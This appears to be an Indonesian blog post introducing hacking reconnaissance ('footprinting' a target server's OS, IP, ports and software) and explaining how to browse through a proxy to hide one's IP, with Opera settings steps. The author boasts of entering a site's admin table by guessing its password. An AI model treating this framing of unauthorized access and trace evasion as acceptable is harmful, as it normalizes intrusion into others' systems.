Pernah dengar istilah ini? Yap, bagi seseorang yang tertarik dengan security atau kamanan internet dan server, mau tidak mau kita juga harus mengetahui ANATOMI HACKING. Yaitu apa sih yang dilakukan oleh para cracker sehingga bisa masuk dan mencuri file user password di server yang menjadi target.

Dulu saya pernah belajar mengenai bahasan ini dan sungguh mencangangkan dengan mempelajari kebiasaan admin dan data-data lainnya tentang server pada suatu situs saya barhasil menyusup dalam table admin-nya (pengolahan data) hanya dengan menebak passwordnya tanpa harus scaning password atau dengan tools-tools hacking
· Footprinting
Untuk dapat mendekati seseorang atau lagi PDKT biasanya kita mencari tahu informasi mengenai si dia, yaitu:
1. Apa hoby-nya
2. Makanan kesukaannya
3. Nama lengkapnya
4. Keluarganya siapa saja
5. dll…
Hal ini sama halnya dengan sebuah server, jika kita ingin memasuki server kita harus mengumpulkan segala informasi tentang server tersebut, seperti :
1. Sistem Operasis yang dipakai
2. IP Address server
3. Port apa aja yang sedang terbuka
4. Aplikasi yang digunakan server
5. Dst..
Hal inilah yang dinamakan footprinting yaitu mencari segala tentang server atau target dan proses ini terbagi atas Inner footprinting dan Outer footprinting,

Bersambung…….

Hilangkan IP saat browsing

Kadang ada beberapa website yang tidak bisa kita buka karena IP Address kita telah di blacklist atau entah karena hal lain. Sebenarnya kita bisa memanfaatkan layanan Proxy Server agar IP Address kita berubah saat kita sedang browsing. Proxy Server juga berguna jika kita tidak menginginkan web site yang kita akses mengetahui IP Address kita. Biasanya hacker memakai teknik ini untuk menyamar agar tidak terlacak. Bagaimana Cara Kerja Proxy?
Untuk menjelaskan dengan kata-kata tapi mungkin akan lebih jelas jika
melihat bagan di bawah ini.

IP ADDRESS ----> ISP ----> WEB SITE

Di atas ini adalah bagan saat kita mengakses sebuah web site tanpa proxy. Bisa dilihat jika kita tidak menggunakan proxy, maka dengan mudah web site yang kita akses mengetahui IP Address kita kalau di web site itu sudah terpasang suatu service atau semacamnya untuk melihat IP Address pengunjung.

IP ADDRESS ----> ISP ----> PROXY SERVER -----> WEB SITE

Sedangkan yang satu ini adalah bagan saat kita mengakses web site dengan menggunakan proxy. Sebelum kita mengakses web site, secara otomatis kita akan menuju Proxy Server. Di Proxy Server IP Address kita akan dipalsukan terlebih dahulu, sesudah itu kita baru mengakses web site tersebut. Maka web site tersebut akan tidak akan melihat IP Address kita yang sebenarnya melainkan IP Address yang berasal dari Proxy Server.
Mencari Proxy Selain proxy, anda juga harus mengetahui port berapa yang akan dipakai. Port tersebut sudah ada saat kita mendapatkan sebuah proxy. Letaknya biasa berada di belakang proxy sejumlah 4 karakter. Kita bisa mencari proxy dengan bantuan search engine. Proxy yang bisa kita pakai bermacammacam tergantung Proxy Servernya. Ada yang mengharuskan kita mendaftarkan diri terlebih dahulu, Cara Mensetting Browser dengan Proxy Setelah kita mendapatkan proxy, terlebih dahulu kita harus mensetting browser kita agar bisa menggunakan proxy. Secara garis besar, cara mensetting proxy pada setiap jenis browser adalah sama, hanya saja letaknya sedikit berbeda. Sebagai contoh kita akan menunjukkan cara mensetting proxy pada Browser Opera 8.0.
1. Jalankan Browser Opera.
2. Klik Tools – Preferences.
3. Klik tab Advanced lalu klik Network pada pilihan di sebelah kiri.
4. Klik button Proxy Server.
5. Beri tanda centang di sebelah kiri tulisan HTTP. Ketikkan proxy yang ingin kita pakai di
sebelah kanan tulisan HTTP beserta portnya di sebelah kanannya lagi.
6. Klik OK.
Sekarang Anda sudah siap untuk browsing menggunakan proxy. Baca juga cara lain di o-om.blogspot.com

Dikitip dari: Adi Nugroho